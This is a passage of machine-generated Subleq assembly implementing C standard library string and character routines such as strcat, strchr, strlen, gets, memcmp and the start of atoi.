t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2 Z; ?+9; Z ?+5; Z; inc 0
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t2; bp t3; c1 t3; t3 t2
t3; t4; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t4
t2 Z; ?+9; Z ?+5; Z; inc 0
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t4; t1 Z; Z t4; c3 t4 ?+3; Z Z ?+15
Z; t4 Z ?+9; Z; t4; inc t4
Z t4 l2
Z Z l1
l2:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_strcpy
end_strcpy:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strcat:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; dec t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l3:
t2; t1; bp t2; c1 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; t2; ?+11; t3 Z; Z ?+4; Z; 0 t1; t1 t2
t3; t2 Z; Z t3 ?+3; Z Z ?+9; Z; t2 t3; t2 t3
Z t3 l4
t1; t2; bp t1; c1 t1; t1 t2
t2 Z; ?+9; Z ?+5; Z; inc 0
Z Z l3
l4:
l5:
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2 Z; ?+9; Z ?+5; Z; inc 0
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t2; bp t3; c1 t3; t3 t2
t3; t4; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t4
t2 Z; ?+9; Z ?+5; Z; inc 0
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t4; t1 Z; Z t4; c3 t4 ?+3; Z Z ?+15
Z; t4 Z ?+9; Z; t4; inc t4
Z t4 l6
Z Z l5
l6:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_strcat
end_strcat:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strchr:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
l7:
t2; t1; bp t2; c1 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; t2; ?+11; t3 Z; Z ?+4; Z; 0 t1; t1 t2
t3; t1; bp t3; c2 t3; t3 t1
t3; t4; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t4
t1; t2 Z; Z t1; Z; t4 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
t4; t1 t4; inc t4
Z t4 l9
t2; t1; bp t2; c1 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
t1; t2; ?+11; t3 Z; Z ?+4; Z; 0 t1; t1 t2
t3; t2 Z; Z t3; Z; c3 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l10
ax; c5 ax
Z Z end_strchr
l10:
l8:
t1; t2; bp t1; c1 t1; t1 t2
t2 Z; ?+9; Z ?+5; Z; inc 0
Z Z l7
l9:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end_strchr
end_strchr:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strlen:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; dec t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l11:
t3; t1; bp t3; dec t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; c3 t2 ?+3; Z Z ?+15
Z; t2 Z ?+9; Z; t2; inc t2
Z t2 l13
l12:
t3; t1; bp t3; dec t3; t3 t1
t1 Z; ?+9; Z ?+5; Z; inc 0
Z Z l11
l13:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c1 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t3 Z; Z t1; Z; t4 t1
ax; t1 ax
Z Z end_strlen
end_strlen:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_puts:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
l14:
t3; t2; bp t3; c1 t3; t3 t2
t3; t4; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t4
t2; t3; ?+11; t4 Z; Z ?+4; Z; 0 t2; t2 t3
t4; t3 Z; Z t4 ?+3; Z Z ?+9; Z; t3 t4; t3 t4
Z t4 l15
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2 Z; ?+9; Z ?+5; Z; inc 0
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _putchar; . ?;
c1 sp
Z Z l14
l15:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_gets:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c7 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c6 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c7 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l16:
t1; dec Z; Z t1 ?+3; Z Z ?+9; Z; dec t1; dec t1
Z t1 l17
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _getchar; . ?;
t1; ax t1
inc sp
t2; t3; bp t2; dec t2; t2 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c8 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
t3; inc t3; Z t2 ?+3; Z Z l18
t1; t4; bp t1; dec t1; t1 t4
t1; t5; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t5
t4; t5 Z; Z t4; Z; c9 t4 ?+3
t4 t4 ?+9; t4 Z ?+3; Z Z ?+3; inc t4
Z t4 ?+3; Z Z l18; t3;
l18:
Z t3 l19
t1; t2; bp t1; c7 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; t3 t1; t4 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
Z Z l17
Z Z l20
l19:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c7 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; bp t1; c6 t1; t1 t2
t1; t5; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t5
t2; t1; t4 t2; t5 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
t2 Z; ?+9; Z ?+5; Z; inc 0
l20:
Z Z l16
l17:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_isspace:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c10 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
t3; inc t3; Z t2 ?+3; Z Z l21
t1; t4; bp t1; c1 t1; t1 t4
t1; t5; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t5
t4; t5 Z; Z t4; Z; c8 t4 ?+3
t4 t4 ?+9; t4 Z ?+3; Z Z ?+3; inc t4
Z t4 ?+3; Z Z l21; t3;
l21:
t4; inc t4; Z t3 ?+3; Z Z l22
t2; t5; bp t2; c1 t2; t2 t5
t2; t1; ?+11; t5 Z; Z ?+4; Z; 0 t2; t2 t1
t5; t1 Z; Z t5; Z; c11 t5 ?+3
t5 t5 ?+9; t5 Z ?+3; Z Z ?+3; inc t5
Z t5 ?+3; Z Z l22; t4;
l22:
t5; inc t5; Z t4 ?+3; Z Z l23
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; t2 Z; Z t1; Z; c12 t1 ?+3
t1 t1 ?+9; t1 Z ?+3; Z Z ?+3; inc t1
Z t1 ?+3; Z Z l23; t5;
l23:
t1; inc t1; Z t5 ?+3; Z Z l24
t4; t2; bp t4; c1 t4; t4 t2
t4; t3; ?+11; t2 Z; Z ?+4; Z; 0 t4; t4 t3
t2; t3 Z; Z t2; Z; c9 t2 ?+3
t2 t2 ?+9; t2 Z ?+3; Z Z ?+3; inc t2
Z t2 ?+3; Z Z l24; t1;
l24:
t2; inc t2; Z t1 ?+3; Z Z l25
t5; t3; bp t5; c1 t5; t5 t3
t5; t4; ?+11; t3 Z; Z ?+4; Z; 0 t5; t5 t4
t3; t4 Z; Z t3; Z; c13 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 ?+3; Z Z l25; t2;
l25:
Z t2 l26
t2; dec Z; Z t2; Z
Z Z l27
l26:
t2; c3 Z; Z t2; Z
l27:
ax; t2 ax
Z Z end_isspace
end_isspace:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_isalpha:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t6 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t7 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c14 t2; inc t2
t3; Z t2 l28
t1; t4; bp t1; c1 t1; t1 t4
t1; t5; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t5
t4; c15 Z; Z t4; Z; t5 t4; inc t4
Z t4 l28; inc t3;
l28:
t4; inc t4; Z t3 ?+3; Z Z l30
t2; t5; bp t2; c1 t2; t2 t5
t2; t1; ?+11; t5 Z; Z ?+4; Z; 0 t2; t2 t1
t5; t1 Z; Z t5; Z; c16 t5; inc t5
t1; Z t5 l29
t2; t6; bp t2; c1 t2; t2 t6
t2; t7; ?+11; t6 Z; Z ?+4; Z; 0 t2; t2 t7
t6; c17 Z; Z t6; Z; t7 t6; inc t6
Z t6 l29; inc t1;
l29:
Z t1 ?+3; Z Z l30; t4;
l30:
Z t4 l31
t4; dec Z; Z t4; Z
Z Z l32
l31:
t4; c3 Z; Z t4; Z
l32:
ax; t4 ax
Z Z end_isalpha
end_isalpha:
?+8; sp ?+4; t7; 0 t7; inc sp
?+8; sp ?+4; t6; 0 t6; inc sp
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_isdigit:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c18 t2; inc t2
t3; Z t2 l33
t1; t4; bp t1; c1 t1; t1 t4
t1; t5; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t5
t4; c19 Z; Z t4; Z; t5 t4; inc t4
Z t4 l33; inc t3;
l33:
Z t3 l34
t3; dec Z; Z t3; Z
Z Z l35
l34:
t3; c3 Z; Z t3; Z
l35:
ax; t3 ax
Z Z end_isdigit
end_isdigit:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_isprint:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c13 t2; inc t2
t3; Z t2 l36
t1; t4; bp t1; c1 t1; t1 t4
t1; t5; ?+11; t4 Z; Z ?+4; Z; 0 t1; t1 t5
t4; c20 Z; Z t4; Z; t5 t4; inc t4
Z t4 l36; inc t3;
l36:
Z t3 l37
t3; dec Z; Z t3; Z
Z Z l38
l37:
t3; c3 Z; Z t3; Z
l38:
ax; t3 ax
Z Z end_isprint
end_isprint:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_memcmp:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c6 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c21 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2 ?+3; Z Z ?+9; Z; t3 t2; t3 t2
Z t2 l42
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; dec t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l39:
t1; t2; bp t1; c21 t1; t1 t2
t2 Z; ?+9; Z ?+5; Z; dec 0
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2 ?+3; Z Z ?+9; Z; t3 t2; t3 t2
Z t2 l40
t3; t1; bp t3; dec t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1 Z; ?+9; Z ?+5; Z; inc 0
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
t2; t5; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t5
t1 Z; ?+9; Z ?+5; Z; inc 0
t1; t2; ?+11; t5 Z; Z ?+4; Z; 0 t1; t1 t2
t5; t3 Z; Z t5; t2 t5 ?+3; Z Z ?+15
Z; t5 Z ?+9; Z; t5; inc t5
Z t5 l41
t1; t2; bp t1; dec t1; t1 t2
t2 Z; ?+9; Z ?+5; Z; dec 0
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t2; bp t3; c6 t3; t3 t2
t2 Z; ?+9; Z ?+5; Z; dec 0
t3; t4; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t4
t2; t3; ?+11; t4 Z; Z ?+4; Z; 0 t2; t2 t3
t4; t1 Z; Z t4; Z; t3 t4
ax; t4 ax
Z Z end_memcmp
l41:
Z Z l39
l40:
l42:
ax; c3 ax
Z Z end_memcmp
end_memcmp:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_atoi:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c7 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
l43:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _isspace; . ?;
t1; ax t1
c1 sp
t3; t1 Z; Z t3 ?+3; Z Z ?+9; Z; t1 t3; t1 t3
Z t3 l44
t1; t2; bp t1; c1 t1; t1 t2
?+15; t2 Z; Z ?+8; Z
dec Z; Z 0; Z
Z Z l43
l44:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c23 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l46
t1; t2; bp t1; c7 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; dec Z; Z 0; Z
t1; t2; bp t1; c1 t1; t1 t2
?+15; t2 Z; Z ?+8; Z
dec Z; Z 0; Z
Z Z l47
l46:
t1; t2; bp t1; c7 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t1
t3; t1 Z; Z t3; Z; c22 t3 ?+3
t3 t3 ?+9; t3 Z ?+3; Z Z ?+3; inc t3
Z t3 l45
t1; t2; bp t1; c1 t1; t1 t2
?+15; t2 Z; Z ?+8; Z
dec Z; Z 0; Z
l45:
l47:
l48:
t1; dec Z; Z t1 ?+3; Z Z ?+9; Z; dec t1; dec t1
Z t1 l50
t3; t2; bp t3; c1 t3; t3 t2
t3; t4; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t4
t2; t3; ?+11; t4 Z; Z ?+4; Z; 0 t2; t2 t3
t4; t3 Z; Z t4; Z; c18 t4
t3; t2; bp t3; c6 t3; t3 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t4 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c10 t2
Z t2 l51
Z Z l50
l51:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; c8 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __mul; . ?;
t3; ax t3
c2 sp
t2; t1; bp t2; c6 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; t3 t1; t4 t1; t1 t2
t1; t4; bp t1; dec t1; t1 t4
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
l49:
t2; t3; bp t2; c1 t2; t2 t3
?+15; t3 Z; Z ?+8; Z
dec Z; Z 0; Z
Z Z l48
l50:
t1; t2; bp t1; c7 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2 ?+3; Z Z ?+9; Z; t3 t2; t3 t2
Z t2 l52
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
ax; t2 ax
Z Z end_atoi
l52:
t1; t2; bp t1; dec t1; t1 t2
